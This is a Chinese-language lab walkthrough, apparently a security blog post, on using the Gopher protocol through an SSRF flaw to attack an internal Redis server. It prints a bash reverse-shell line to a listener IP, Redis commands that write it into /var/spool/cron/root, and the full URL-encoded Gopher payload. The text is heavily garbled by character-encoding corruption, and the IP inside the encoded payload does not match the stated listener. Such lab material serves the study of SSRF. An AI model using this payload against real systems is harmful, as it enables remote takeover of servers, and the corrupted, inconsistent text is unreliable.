Gopher協(xié)議

Gopher?協(xié)議是一種通信協(xié)議?，用于在Internet 協(xié)議網(wǎng)絡(luò)中分發(fā)、搜索和檢索文檔。Gopher 協(xié)議和用戶界面的設(shè)計(jì)是菜單驅(qū)動(dòng)的，并在早期階段提出了萬維網(wǎng)?的替代方案，但最終不受歡迎，讓位于HTTP。Gopher 生態(tài)系統(tǒng)通常被認(rèn)為是萬維網(wǎng)的有效前身。

Gopher協(xié)議的格式

• 發(fā)起POST請求時(shí)，回車換行需要使用%0d%0a?代替，結(jié)尾也要加上%0d%0a
• 參數(shù)之間的&需要進(jìn)行URL編碼
• 參數(shù)以_開頭 ，否則第一個(gè)字符會被吞掉

支持Gopher協(xié)議的環(huán)境

• PHP —write-curlwrappers且PHP版本至少為5.3
• Java 小于JDK1.7
• Curl 低版本不支持
• Perl 支持
• ASP.NET 小于版本3

為什么要使用Gopher協(xié)議

在思考這個(gè)問題的時(shí)候我們可以看見這樣的答案：

Gopher協(xié)議支持發(fā)出GET、POST請求：可以先截獲get請求包和post請求包，在構(gòu)成符合Gopher協(xié)議的請求。Gopher協(xié)議是SSRF利用中最強(qiáng)大的協(xié)議。

這個(gè)答案有問題嗎？沒有問題。看完這個(gè)答案知道為什么要使用Gopher了嗎？貌似還是不太清楚：

因?yàn)樗麖?qiáng)大所以使用它？那我們?yōu)槭裁床豢梢允褂胔ttp?等，而且說到底，Gopher畢竟是一個(gè)已經(jīng)被淘汰的協(xié)議，為什么非要使用這個(gè)協(xié)議，好像并沒有這方面的答案。

到底為什么使用Gopher

我總結(jié)的話，就一句話：支持多種協(xié)議且靈活，或者也可以說其沒有固定的格式要遵守（這里所謂的格式指的是數(shù)據(jù)包的格式，必須HTTP數(shù)據(jù)包中必須攜帶哪些參數(shù)）。

我們做這樣一個(gè)實(shí)驗(yàn)，在一臺虛擬機(jī)上通過nc?監(jiān)視3333?端口，然后分別通過http?協(xié)議和gopher協(xié)議去訪問這個(gè)端口：

• http://172.16.12.155:3333/abc

那么此時(shí)對端收到的是（我們通過curl?請求）帶有?HTTP?的請求包格式：有可能會說比如說UA什么的完全可以不帶，但是GET的請求包頭是一定要有的吧！

gopher://172.16.12.155:3333/_abc（遵守gopher的格式）。

再來看使用gopher協(xié)議收到的數(shù)據(jù)

沒有任何的附加數(shù)據(jù)。

我們通過抓包再來看一下

我們可以清楚的看見除了前4層的數(shù)據(jù)和abc外沒有任何的額外的數(shù)據(jù)。

為什么SSRF中常配合Gopher協(xié)議

我們以Redis產(chǎn)生的SSRF為例（后面會具體描述），由于Gopher傳輸?shù)臄?shù)據(jù)是沒有任何額外數(shù)據(jù)的，這樣的好處非常的明顯，在我們請求6379端口時(shí)，除了我們構(gòu)造的redis格式的數(shù)據(jù)外，將不會產(chǎn)生任何Redis無法識別的額外數(shù)據(jù)，從而可以保證Redis順利執(zhí)行我們構(gòu)造的語句，很顯然HTTP做不到這一點(diǎn)。

所以這也提醒了我們，Gopher?協(xié)議除了應(yīng)用于攻擊內(nèi)網(wǎng)的Redis?服務(wù)器，還有FTP等等服務(wù)器也可以嘗試，而且拓展來看Gopher協(xié)議甚至可以用來寫入一句話。

實(shí)驗(yàn)

使用SSRF結(jié)合Gopher?協(xié)議攻擊內(nèi)網(wǎng)的Redis服務(wù)器。

分析

實(shí)驗(yàn)?zāi)康?/strong>

我們最終的實(shí)驗(yàn)?zāi)康氖且玫侥繕?biāo)Redis?主機(jī)的Shell?，要完成這一目標(biāo)需要多條Redis語句相配合，我們當(dāng)然可以通過Gopher?協(xié)議一條一條的傳遞，但這樣會非常的繁瑣，所以我們決定現(xiàn)在本地搭建相同版本的Redis?服務(wù)器，并抓包獲取到Redis格式的報(bào)文，最后直接拼接到Gopher語句中一并傳給被攻擊服務(wù)器即可完成攻擊。

版本信息

redis-stack-server-6.2.4-v2.rhel8.x86_64

新版的Redis服務(wù)器增加了防御機(jī)制，未成功

所需工具

• redis-cli連接Redis服務(wù)器
• nc接受反彈shell
• socat代理轉(zhuǎn)發(fā)

實(shí)驗(yàn)架構(gòu)

由于內(nèi)網(wǎng)的Redis?服務(wù)器，是不出網(wǎng)的（或者說其防火墻限制只有內(nèi)網(wǎng)的主機(jī)可以訪問），所以我們只能通過一臺處于內(nèi)外網(wǎng)邊界的具有SSRF?漏洞的主機(jī)來訪問該Redis服務(wù)器。

由于處于實(shí)驗(yàn)環(huán)境中，我們就通過主機(jī)添加防火墻策略來阻止除”內(nèi)網(wǎng)”限定主機(jī)以外訪問，形成簡單的內(nèi)外隔離。

此時(shí)雖然處于同一網(wǎng)段，但我們在Redis服務(wù)器上添加了如下策略：

firewall-cmd --add-rich-rule='rule family=ipv4 source address=172.16.12.151 port port=6379 protocol=tcp accept'

從而禁止除172.16.12.151服務(wù)器以外其他服務(wù)器訪問的請求，這樣就形成了我們簡單的內(nèi)網(wǎng)的概念。

實(shí)驗(yàn)的步驟

對目標(biāo)主機(jī)的探測

首先我們要對這臺存在著SSRF漏洞的主機(jī)進(jìn)行探測，首先看其URL的組成：

http://172.16.12.151:89/ssrf.php?url=

通過拼接www.baidu.com發(fā)現(xiàn)其可以正常訪問百度，所以懷疑此處出現(xiàn)SSRF漏洞，接下來嘗試其能不能訪問內(nèi)網(wǎng)的主機(jī)。

為了探測主機(jī)哪些端口開放，我們嘗試用Burp通過不斷改變端口值，來進(jìn)行一個(gè)簡單的探測，在這之前我先拼接了一下：

http://172.16.12.151:89/ssrf.php?url=172.16.12.136:80

并沒有任何回顯，所以為了準(zhǔn)確的驗(yàn)證我們訪問的端口是否開啟，決定使用 dict協(xié)議。

dict協(xié)議又稱在線網(wǎng)絡(luò)字典協(xié)議。通過 dict協(xié)議，可以遠(yuǎn)程訪問一個(gè)指定的 TCP 端口，并且會返回端口所提供的服務(wù)的部分組件信息當(dāng)目標(biāo)端口開放（有服務(wù)信息顯示，但會報(bào)錯(cuò)）。

接下來通過Burp的Intruder模塊來驗(yàn)證一些基本端口服務(wù)是否開放。

可以看出目標(biāo)主機(jī)的6379``22號端口是開放的。

有了該信息就可以開始利用該漏洞啦。

本地捕獲攻擊流量

由于對端是6379?端口也就是redis?服務(wù)的端口，所以我們接下來向該端口傳輸?shù)臄?shù)據(jù)必須是redis?規(guī)定的格式，這時(shí)候我們可以查找redis?報(bào)文格式的文檔構(gòu)造其報(bào)文，但那樣過于繁瑣，所以我們直接在本地另外一臺服務(wù)器上搭建redis?服務(wù)**，通過在本地連接這臺redis?服務(wù)器，并向其發(fā)送攻擊時(shí)所要發(fā)送的redis?命令從而獲取其流量報(bào)文，最終再配合Gopher協(xié)議完成傳輸即可。

可成功訪問我們自己搭建的redis服務(wù)器

自己搭建的redis服務(wù)器IP：172.16.12.155

接下來，在本地KALI機(jī)上為了準(zhǔn)確的獲取redis?的流量報(bào)文，我們使用socat對流量進(jìn)行代理轉(zhuǎn)發(fā)

socat -v tcp-listen:6379,fork tcp-connect:172.16.12.155:6379

大功告成，接下來我們只要redis-cli -h localhost?就可以讓連接172.16.12.155:6379流量走本地的代理啦。

反彈shell

我們最終的目的是反彈一個(gè)目標(biāo)主機(jī)的shell?到我們本地，我們可以將下面的語句寫入到目標(biāo)主機(jī)的cron中從而加入計(jì)劃任務(wù)，定時(shí)反連本主機(jī)

bash -i >&/dev/tcp/172.16.12.150/3333 0>&1

為了完成該目的我們需要做兩個(gè)準(zhǔn)備：

1.在本地開啟監(jiān)聽端口3333

2.利用上面搭建的本地redis?環(huán)境將攻擊需要的redis?指令流量捕獲并通過Gopher?協(xié)議發(fā)給有SSRF漏洞的主機(jī)從而穿透發(fā)給我們要反彈shell的那臺內(nèi)網(wǎng)主機(jī)。為了在目標(biāo)主機(jī)的?cron?中寫入計(jì)劃任務(wù)，需要以下redis命令：

flushall

# 設(shè)置鍵值對 key-value
set deu "bash -i >&/dev/tcp/172.16.12.150/3333 0>&1"

# 設(shè)置工作目錄
config set dir /var/spool/cron

# 設(shè)置保存文件的名字
config set dbfilename root

# 保存，將緩沖區(qū)內(nèi)容寫入到 root 文件中
save

然后轉(zhuǎn)到socat?的界面，我們就獲得了redis數(shù)據(jù)包流量。

由于Gopher及URL編碼等一些格式的限制，我們需要對上述報(bào)文進(jìn)行一定的處理，最終轉(zhuǎn)為：

*1%0D%0A$8%0D%0Aflushall%0D%0A*3%0D%0A$3%0D%0Aset%0D%0A$3%0D%0Adeu%0D%0A$42%0D%0Abash -i >&/dev/tcp/176.12.16.150/3333 0>&1%0D%0A*4%0D%0A$6%0D%0Aconfig%0D%0A$3%0D%0Aset%0D%0A$3%0D%0Adir%0D%0A$16%0D%0A/var/spool/cron/%0D%0A*4%0D%0A$6%0D%0Aconfig%0D%0A$3%0D%0Aset%0D%0A$10%0D%0Adbfilename%0D%0A$4%0D%0Aroot%0D%0A*1%0D%0A$4%0D%0Asave%0D%0A

可借助 python 腳本實(shí)現(xiàn)。

* 去掉> <后的一些時(shí)間、長度等描述信息。

• * 如果該行只有\(zhòng)r?，將\r?替換成%0a%0d%0a?，否則將\r?替換為%0d%0a?
• *??轉(zhuǎn)碼為URL編碼%3f?* 去掉最后的換行符\n
• * 判斷是否是空行，空行替換為%0a

至此流量捕獲完畢，我們就可以通過URL直接發(fā)給存在SSRF的主機(jī)了。

反彈成功